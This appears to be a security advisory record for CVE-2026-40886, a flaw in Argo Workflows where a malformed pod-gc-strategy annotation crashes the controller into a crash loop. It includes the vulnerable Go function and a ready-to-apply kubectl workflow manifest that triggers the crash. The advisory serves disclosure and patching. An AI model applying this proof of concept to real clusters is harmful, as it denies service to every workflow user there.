---
id: CVE-2026-40886
aliases:
  - GHSA-5jv8-h7qh-rf5p
  - BIT-argo-workflows-2026-40886
  - GO-2026-5148
title: >-
  Argo Workflows: Unchecked annotation parsing in pod informer crashes Argo
  Workflows Controller
summary: >-
  Argo Workflows: Unchecked annotation parsing in pod informer crashes Argo
  Workflows Controller
severity: high
cvss: 7.7
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H'
vendor: argoproj
product: github.com/argoproj/argo-workflows/v4
ecosystem: go
affected:
  - 'github.com/argoproj/argo-workflows/v4 >= 4.0.0, < 4.0.5'
  - 'github.com/argoproj/argo-workflows/v3 >= 3.7.0, < 3.7.14'
  - 'github.com/argoproj/argo-workflows/v3 >= 3.6.5, <= 3.6.19'
patched:
  - github.com/argoproj/argo-workflows/v4 4.0.5
  - github.com/argoproj/argo-workflows/v3 3.7.14
published: '2026-04-23'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:50:43.097526471Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-5jv8-h7qh-rf5p'
references:
  - url: >-
      https://github.com/argoproj/argo-workflows/security/advisories/GHSA-5jv8-h7qh-rf5p
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-40886'
  - url: 'https://github.com/argoproj/argo-workflows'
tags:
  - osv
  - go
epss: 0.00592
epssPercentile: 0.45965
ingestedAt: '2026-09-12T03:13:01.756Z'
---

## Overview

### Summary

An unchecked array index in the pod informer's `podGCFromPod()` function causes a controller-wide panic when a workflow pod carries a malformed `workflows.argoproj.io/pod-gc-strategy` annotation. Because the panic occurs inside an informer goroutine (outside the controller's `recover()` scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.

### Details

`podGCFromPod()` splits the annotation value on "/" and unconditionally accesses `parts[1]`:

```go
func podGCFromPod(pod *apiv1.Pod) wfv1.PodGC {
    if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok {
        parts := strings.Split(val, "/")
        return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]}
    }
    return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone}
}
```

If the annotation value contains no "/", `parts` has length 1 and `parts[1]` panics with index out of range.

The code was introduced in [#14129](https://github.com/argoproj/argo-workflows/issues/14129) and  affects versions:

  - 3.6.x: v3.6.5 through v3.6.19 (backport in [#14263](https://github.com/argoproj/argo-workflows/issues/14263))
  - 3.7.x: v3.7.0-rc1 through v3.7.12
  - 4.x: v4.0.0-rc1 through v4.0.3
  - Not affected: v3.6.4 and earlier

### PoC

Apply this workflow to a cluster running the Argo Workflows controller:

```bash
kubectl apply -n argo -f - <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  name: crash-podgc
spec:
  entrypoint: main
  serviceAccountName: default
  podGC:
    strategy: OnPodCompletion
  podMetadata:
    annotations:
      workflows.argoproj.io/pod-gc-strategy: "NoSlash"
  templates:
    - name: main
      container:
        image: alpine:3.18
        command: [echo, "hello"]
EOF
```

Within seconds the controller crashes. The controller pod will show `CrashLoopBackOff` with increasing restart count. Controller logs show:

```
panic: runtime error: index out of range [1] with length 1

goroutine 291 [running]:
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).commonPodEvent(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).addPodEvent(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246
```

Recovery requires deleting the poisoned workflow:

```
kubectl delete workflow -n argo crash-podgc
```

### Impact

Any user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only `create` permission on Workflow resources, which is the baseline permission for any Argo Workflows user.

## Affected packages

- `github.com/argoproj/argo-workflows/v4 >= 4.0.0, < 4.0.5`
- `github.com/argoproj/argo-workflows/v3 >= 3.7.0, < 3.7.14`
- `github.com/argoproj/argo-workflows/v3 >= 3.6.5, <= 3.6.19`

## Remediation

Upgrade to a patched release:

- `github.com/argoproj/argo-workflows/v4 4.0.5`
- `github.com/argoproj/argo-workflows/v3 3.7.14`